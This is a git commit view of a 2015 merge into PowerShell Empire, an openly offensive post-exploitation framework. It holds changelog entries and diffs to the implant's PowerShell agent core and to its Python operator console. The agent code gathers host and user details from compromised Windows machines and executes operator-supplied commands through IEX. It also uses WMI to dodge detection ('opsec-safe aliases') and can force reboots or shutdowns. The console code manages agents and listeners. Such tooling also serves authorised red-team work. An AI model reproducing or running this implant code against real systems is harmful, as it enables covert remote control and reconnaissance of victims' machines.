Merge pull request #25 from PowerShellEmpire/agent_internal_revamp

Agent internal revamp
1.6
HarmJ0y 2015-08-23 23:21:56 -04:00
commit b4c5b3963c
6 changed files with 278 additions and 188 deletions

View File

@ -1,9 +1,18 @@
8/20/2015
---------
-Continued porting native shell commands to WMI replacents in agent core
-In agent menu, 'shell CMD' now runs straight IEX CMD, and 'help agentcmds' shows safe aliases
-Modified ./setup/reset.sh to work from parent or ./setup/ folders
-Agent core functions streamlined
-"list [agents/listeners] <modifier>" should now be a global command
8/19/2015
---------
-Added collection/netripper, port of the NetRipper project
-Added collection/packet_capture for netsh event tracing
-Added management/zipfolder for native folder compression
-Corrected menu behavior on agent exit, bug fix on some dir behavior
-Started porting native shell commands to WMI in the agent core
============
8/16/2015 - RELEASE 1.1

View File

@ -210,7 +210,7 @@ function Invoke-Empire {
function Get-Sysinfo {
$str = $Servers[$ServerIndex]
$str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
$p = (gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
$p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
$str += '|' +@{$true=$p[0];$false=$p}[$p.Length -lt 6];
$str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
# if we're SYSTEM, we're high integrity
@ -219,7 +219,7 @@ function Invoke-Empire {
}
else{
# otherwise check the groups
$str += '|'+($(whoami /groups) -join "").Contains("High Mandatory Level");
$str += '|'+ ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
}
$n = [System.Diagnostics.Process]::GetCurrentProcess();
$str += '|'+$n.ProcessName+'|'+$n.Id;
@ -239,148 +239,139 @@ function Invoke-Empire {
function Invoke-ShellCommand {
param($cmd, $cmdargs="")
# extract the command and arguments
$parts = $cmd.split(" ")
$cmd = $parts[0]
if ($parts.length -ne 1){
$cmdargs = $parts[1..$parts.length] -join " "
# if this is a UNC path, forget the fancy formatting so we can get the stupid path to work
if ($cmdargs.contains("\\")){
$cmdargs = $cmdargs.trim("`"").trim("'")
$cmdargs = "$cmdargs"
# UNC path normalization for PowerShell
if ($cmdargs -like "*`"\\*") {
$cmdargs = $cmdargs -replace "`"\\","FileSystem::`"\"
}
elseif ($cmdargs -like "*\\*") {
$cmdargs = $cmdargs -replace "\\\\","FileSystem::\\"
}
$output = ""
switch ($cmd){
ls {
if ($cmdargs.length -eq ""){
$output = Get-ChildItem -force | select lastwritetime,length,name
if ($cmd.ToLower() -eq "shell") {
# if we have a straight 'shell' command, skip the aliases
if ($cmdargs.length -eq ""){ $output = "no shell command supplied" }
else { $output = IEX "$cmdargs" }
}
else {
$output = Get-ChildItem -force -path $cmdargs | select lastwritetime,length,name
}
}
dir {
if ($cmdargs.length -eq ""){
switch -regex ($cmd) {
'(ls|dir)' {
if ($cmdargs.length -eq "") {
$output = Get-ChildItem -force | select lastwritetime,length,name
}
else {
try{
if ($cmdargs.StartsWith("\\")) {
$output = Get-ChildItem -force -path "FileSystem::$cmdargs" -ErrorAction Stop | select lastwritetime,length,name
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select lastwritetime,length,name"
}
else {
$output = Get-ChildItem -force -path "$cmdargs" -ErrorAction Stop | select lastwritetime,length,name
}
}
catch [System.Management.Automation.ActionPreferenceStopException]{
catch [System.Management.Automation.ActionPreferenceStopException] {
$output = "[!] Error: $_ (or cannot be accessed)."
}
}
}
rm {
if ($cmdargs.length -ne ""){
'(mv|move|copy|cp|rm|del|rmdir)' {
if ($cmdargs.length -ne "") {
try {
Remove-Item $cmdargs -ErrorAction Stop;
$output = "$cmdargs deleted"
IEX "$cmd $cmdargs -Force -ErrorAction Stop"
$output = "executed $cmd $cmdargs"
}
catch {
$output=$_.Exception;
}
}
}
del {
if ($cmdargs.length -ne ""){
try {
Remove-Item $cmdargs -ErrorAction Stop;
$output = "$cmdargs deleted"
}
catch {
$output=$_.Exception;
}
}
}
pwd { $output = pwd }
cat { if ($cmdargs.length -ne ""){ $output = cat $cmdargs }}
cd {
if ($cmdargs.length -ne "")
{
cd $cmdargs
$cmdargs = $cmdargs.trim("`"").trim("'")
cd "$cmdargs"
$output = pwd
}
}
mkdir { if ($cmdargs.length -ne ""){ $output = mkdir $cmdargs }}
rmdir { if ($cmdargs.length -ne ""){ $output = rmdir $cmdargs }}
mv { if ($cmdargs.length -ne ""){ $output = mv $cmdargs }}
arp { $output = arp -a }
netstat { $output = netstat -a }
ipconfig { $output = ipconfig -all }
ifconfig { $output = ipconfig -all }
# this is stupid how complicated it is to get this information...
ps {
if ($cmdargs.length -ne "") {
$output = tasklist /V /FO CSV | ConvertFrom-Csv | Where-Object {$_."Image Name" -match $cmdargs} | Select-Object -Property 'Image Name', 'PID', 'User Name', 'Mem Usage'
}
else {
$output = tasklist /V /FO CSV | ConvertFrom-Csv | ?{$_.'Image Name' -ne "tasklist.exe"} | Select-Object -Property 'Image Name', 'PID', 'User Name', 'Mem Usage'
}
if ([System.IntPtr]::Size -eq 4){
# if we're running ps on an x86 architecture
$output = $output | % {
$process = Get-Process -Id $_.PID
$arch = "x86"
'(ipconfig|ifconfig)' {
$output = Get-WmiObject -class "Win32_NetworkAdapterConfiguration" | ? {$_.IPEnabled -Match "True"} | % {
$out = New-Object psobject
$out | Add-Member Noteproperty 'ProcessName' $_.'Image Name'
$out | Add-Member Noteproperty 'PID' $_.PID
$out | Add-Member Noteproperty 'Arch' $arch
$out | Add-Member Noteproperty 'UserName' $_.'User Name'
$out | Add-Member Noteproperty 'MemUsage' $_.'Mem Usage'
$out | Add-Member Noteproperty 'Description' $_.Description
$out | Add-Member Noteproperty 'MACAddress' $_.MACAddress
$out | Add-Member Noteproperty 'DHCPEnabled' $_.DHCPEnabled
$out | Add-Member Noteproperty 'IPAddress' $($_.IPAddress -join ",")
$out | Add-Member Noteproperty 'IPSubnet' $($_.IPSubnet -join ",")
$out | Add-Member Noteproperty 'DefaultIPGateway' $($_.DefaultIPGateway -join ",")
$out | Add-Member Noteproperty 'DNSServer' $($_.DNSServerSearchOrder -join ",")
$out | Add-Member Noteproperty 'DNSHostName' $_.DNSHostName
$out | Add-Member Noteproperty 'DNSSuffix' $($_.DNSDomainSuffixSearchOrder -join ",")
$out
} | ft -wrap
} | fl | Out-String | %{$_ + "`n"}
}
else {
# otherwise we're x64
$output = $output | % {
$process = Get-Process -Id $_.PID
# this is stupid how complicated it is to get this information...
'(ps|tasklist)' {
$owners = @{}
Get-WmiObject win32_process | % {$o = $_.getowner(); if(-not $($o.User)){$o="N/A"} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o}
if($cmdargs -ne "") { $p = $cmdargs }
else{ $p = "*" }
$output = Get-Process $p | % {
$arch = "x64"
$modules = $process.modules
foreach($module in $process.modules) {
if ([System.IntPtr]::Size -eq 4){
$arch = "x86"
}
else{
foreach($module in $_.modules) {
if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") {
$arch = "x86"
break
}
}
}
$out = New-Object psobject
$out | Add-Member Noteproperty 'ProcessName' $_.'Image Name'
$out | Add-Member Noteproperty 'PID' $_.PID
$out | Add-Member Noteproperty 'ProcessName' $_.ProcessName
$out | Add-Member Noteproperty 'PID' $_.ID
$out | Add-Member Noteproperty 'Arch' $arch
$out | Add-Member Noteproperty 'UserName' $_.'User Name'
$out | Add-Member Noteproperty 'MemUsage' $_.'Mem Usage'
$out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()]
$mem = "{0:N2} MB" -f $($_.WS/1MB)
$out | Add-Member Noteproperty 'MemUsage' $mem
$out
} | ft -wrap
} | Sort-Object -Property PID
}
}
tasklist { $output = tasklist /V /FO CSV | ConvertFrom-Csv | Select-Object -Property 'Image Name', 'PID', 'Session Name', 'User Name', 'Mem Usage' | ft -wrap}
getpid { $output = [System.Diagnostics.Process]::GetCurrentProcess() | ft -wrap }
net { if ($cmdargs.length -ne ""){ $output = net $cmdargs }}
getpid { $output = [System.Diagnostics.Process]::GetCurrentProcess() }
route {
if ($cmdargs.length -eq ""){ $output = route print }
if (($cmdargs.length -eq "") -or ($cmdargs.lower() -eq "print")){
# build a table of adapter interfaces indexes -> IP address for the adapater
$adapters = @{}
Get-WmiObject Win32_NetworkAdapterConfiguration | %{ $adapters[[int]($_.InterfaceIndex)] = $_.IPAddress }
$output = Get-WmiObject win32_IP4RouteTable | %{
$out = New-Object psobject
$out | Add-Member Noteproperty 'Destination' $_.Destination
$out | Add-Member Noteproperty 'Netmask' $_.Mask
if ($_.NextHop -eq "0.0.0.0"){
$out | Add-Member Noteproperty 'NextHop' "On-link"
}
else{
$out | Add-Member Noteproperty 'NextHop' $_.NextHop
}
if($adapters[$_.InterfaceIndex] -and ($adapters[$_.InterfaceIndex] -ne "")){
$out | Add-Member Noteproperty 'Interface' $($adapters[$_.InterfaceIndex] -join ",")
}
else {
$out | Add-Member Noteproperty 'Interface' '127.0.0.1'
}
$out | Add-Member Noteproperty 'Metric' $_.Metric1
$out
} | ft -autosize | Out-String
}
else { $output = route $cmdargs }
}
whoami { [Security.Principal.WindowsIdentity]::GetCurrent().Name | Out-String }
getuid { [Security.Principal.WindowsIdentity]::GetCurrent().Name | Out-String }
reboot { Restart-Computer -force }
restart { Restart-Computer -force }
'(whoami|getuid)' { $output = [Security.Principal.WindowsIdentity]::GetCurrent().Name }
hostname {
$output = [System.Net.Dns]::GetHostByName(($env:computerName))
}
'(reboot|restart)' { Restart-Computer -force }
shutdown { Stop-Computer -force }
default {
if ($cmdargs.length -eq ""){ $output = IEX $cmd }
else { $output = IEX "$cmd $cmdargs" }
}
}
"`n"+($output | format-table -wrap | out-string)
}
"`n"+($output | Format-Table -wrap | Out-String)
}
function Start-AgentJob {
@ -705,7 +696,6 @@ function Invoke-Empire {
Encode-Packet -type 40 -data "[*] File download of $path completed"
}
catch{
# Write-Host "Error: $_"
Encode-Packet -type 0 -data "file does not exist or cannot be accessed"
}
}

View File

@ -72,7 +72,7 @@ function Start-Negotiate{
# detect if we're SYSTEM or otherwise high-integrity
if(([Environment]::UserName).ToLower() -eq "system"){$i+='|True'}
else{$i+='|'+($(whoami /groups) -join "").Contains("High Mandatory Level");}
else {$i += "|" +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}
# get the current process name and ID
$n=[System.Diagnostics.Process]::GetCurrentProcess();

View File

@ -501,6 +501,63 @@ class MainMenu(cmd.Cmd):
self.modules.reload_module(line)
def do_list(self, line):
"Lists active agents or listeners."
parts = line.split(" ")
if parts[0].lower() == "agents":
line = " ".join(parts[1:])
agents = self.agents.get_agents()
if line.strip().lower() == "stale":
displayAgents = []
for agent in agents:
sessionID = self.agents.get_agent_id(agent[3])
# max check in -> delay + delay*jitter
intervalMax = (agent[4] + agent[4] * agent[5])+30
# get the agent last check in time
agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S"))
if agentTime < time.mktime(time.localtime()) - intervalMax:
# if the last checkin time exceeds the limit, remove it
displayAgents.append(agent)
messages.display_staleagents(displayAgents)
elif line.strip() != "":
# if we're listing an agents active in the last X minutes
try:
minutes = int(line.strip())
# grab just the agents active within the specified window (in minutes)
displayAgents = []
for agent in agents:
agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S"))
if agentTime > time.mktime(time.localtime()) - (int(minutes) * 60):
displayAgents.append(agent)
messages.display_agents(displayAgents)
except:
print helpers.color("[!] Please enter the minute window for agent checkin.")
else:
messages.display_agents(agents)
elif parts[0].lower() == "listeners":
messages.display_listeners(self.listeners.get_listeners())
def complete_usemodule(self, text, line, begidx, endidx):
"Tab-complete an Empire PowerShell module path."
@ -624,50 +681,14 @@ class AgentsMenu(cmd.Cmd):
def do_list(self, line):
"Lists all active agents."
agents = self.mainMenu.agents.get_agents()
if line.strip().lower() == "stale":
displayAgents = []
for agent in agents:
sessionID = self.mainMenu.agents.get_agent_id(agent[3])
# max check in -> delay + delay*jitter
intervalMax = (agent[4] + agent[4] * agent[5])+30
# get the agent last check in time
agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S"))
if agentTime < time.mktime(time.localtime()) - intervalMax:
# if the last checkin time exceeds the limit, remove it
displayAgents.append(agent)
messages.display_staleagents(displayAgents)
elif line.strip() != "":
# if we're listing an agents active in the last X minutes
try:
minutes = int(line.strip())
# grab just the agents active within the specified window (in minutes)
displayAgents = []
for agent in agents:
agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S"))
if agentTime > time.mktime(time.localtime()) - (int(minutes) * 60):
displayAgents.append(agent)
messages.display_agents(displayAgents)
except:
print helpers.color("[!] Please enter the minute window for agent checkin.")
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
elif line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
else:
messages.display_agents(agents)
self.mainMenu.do_list("agents " + str(line))
def do_rename(self, line):
@ -1138,8 +1159,8 @@ class AgentMenu(cmd.Cmd):
# set the text prompt
self.prompt = '(Empire: '+helpers.color(name, 'red')+') > '
# shell commands to tab complete
self.shellCmds = ["ls","dir","rm","del","pwd","cat","cd","mkdir","rmdir","mv","arp","netstat","ipconfig","ifconfig","net","route","reboot","restart","shutdown","ps","getpid","whoami", "getuid"]
# agent commands that have opsec-safe alises in the agent code
self.agentCommands = ["ls","dir","rm","del","cp","copy","pwd","cat","cd","mkdir","rmdir","mv","move","ipconfig","ifconfig","route","reboot","restart","shutdown","ps","tasklist","getpid","whoami","getuid","hostname"]
# listen for messages from this specific agent
dispatcher.connect( self.handle_agent_event, sender=dispatcher.Any)
@ -1193,14 +1214,17 @@ class AgentMenu(cmd.Cmd):
parts = line.split(" ")
if len(parts) > 0:
# check if we got a shell command
if parts[0] in self.shellCmds:
# check if we got an agent command
if parts[0] in self.agentCommands:
shellcmd = " ".join(parts)
# task the agent with this shell command
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", shellcmd)
# update the agent log
msg = "Tasked agent to run shell command " + line
msg = "Tasked agent to run command " + line
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
else:
print helpers.color("[!] Command not recognized.")
print helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands.")
def do_back(self, line):
@ -1213,6 +1237,27 @@ class AgentMenu(cmd.Cmd):
raise StopIteration
def do_help(self, *args):
"Displays the help menu or syntax for particular commands."
if args[0].lower() == "agentcmds":
print "\n" + helpers.color("[*] Available opsec-safe agent commands:\n")
print " " + messages.wrap_columns(", ".join(self.agentCommands), " ", width1=50, width2=10, indent=5) + "\n"
else:
cmd.Cmd.do_help(self, *args)
def do_list(self, line):
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
elif line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
else:
print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
def do_rename(self, line):
"Rename the agent."
@ -1387,7 +1432,7 @@ class AgentMenu(cmd.Cmd):
if line != "":
# task the agent with this shell command
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", line)
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "shell " + str(line))
# update the agent log
msg = "Tasked agent to run shell command " + line
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
@ -1822,14 +1867,6 @@ class AgentMenu(cmd.Cmd):
return [s[offs:] for s in ["kill"] if s.startswith(mline)]
def complete_shell(self, text, line, begidx, endidx):
"Tab-complete a shell command"
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in self.shellCmds if s.startswith(mline)]
def complete_scriptimport(self, text, line, begidx, endidx):
"Tab-complete a PowerShell script path"
@ -1906,8 +1943,14 @@ class ListenerMenu(cmd.Cmd):
def do_list(self, line):
"List all active listeners."
messages.display_listeners(self.mainMenu.listeners.get_listeners())
"List all active listeners (or agents)."
if line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
elif line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
else:
self.mainMenu.do_list("listeners " + str(line))
def do_back(self, line):
@ -1990,6 +2033,11 @@ class ListenerMenu(cmd.Cmd):
self.mainMenu.listeners.add_listener_from_config()
def do_run(self, line):
"Execute a listener with the currently specified options."
self.do_execute(line)
def do_agents(self, line):
"Jump to the Agents menu."
a = AgentsMenu(self.mainMenu)
@ -2220,6 +2268,17 @@ class ModuleMenu(cmd.Cmd):
return True
def do_list(self, line):
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
elif line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
else:
print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
def do_reload(self, line):
"Reload the current module."
@ -2392,6 +2451,11 @@ class ModuleMenu(cmd.Cmd):
self.mainMenu.agents.save_agent_log(agentName, msg)
def do_run(self, line):
"Execute the given Empire module."
self.do_execute(line)
def complete_set(self, text, line, begidx, endidx):
"Tab-complete a module option to set."
@ -2515,6 +2579,17 @@ class StagerMenu(cmd.Cmd):
return True
def do_list(self, line):
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
elif line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
else:
print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
def do_info(self, line):
"Display stager options."
messages.display_stager(self.stagerName, self.stager)

View File

@ -361,8 +361,17 @@ def lhost():
)[20:24])
except IOError as e:
return ""
ip = ""
try:
ip = socket.gethostbyname(socket.gethostname())
if ip.startswith("127.") and os.name != "nt":
except socket.gaierror:
pass
except:
print "Unexpected error:", sys.exc_info()[0]
return ip
if (ip == "" or ip.startswith("127.")) and os.name != "nt":
interfaces = ["eth0","eth1","eth2","wlan0","wlan1","wifi0","ath0","ath1","ppp0"]
for ifname in interfaces:
try:

View File

@ -1,5 +1,12 @@
#!/bin/bash
IFS='/' read -a array <<< pwd
if [[ "$(pwd)" != *setup ]]
then
cd ./setup
fi
# reset the database
rm ../data/empire.db
./setup_database.py
@ -11,5 +18,5 @@ rm empire.debug
# remove the download folders
rm -rf ./downloads/
# start up Empire in debug mode
./empire --debug
# start up Empire
./empire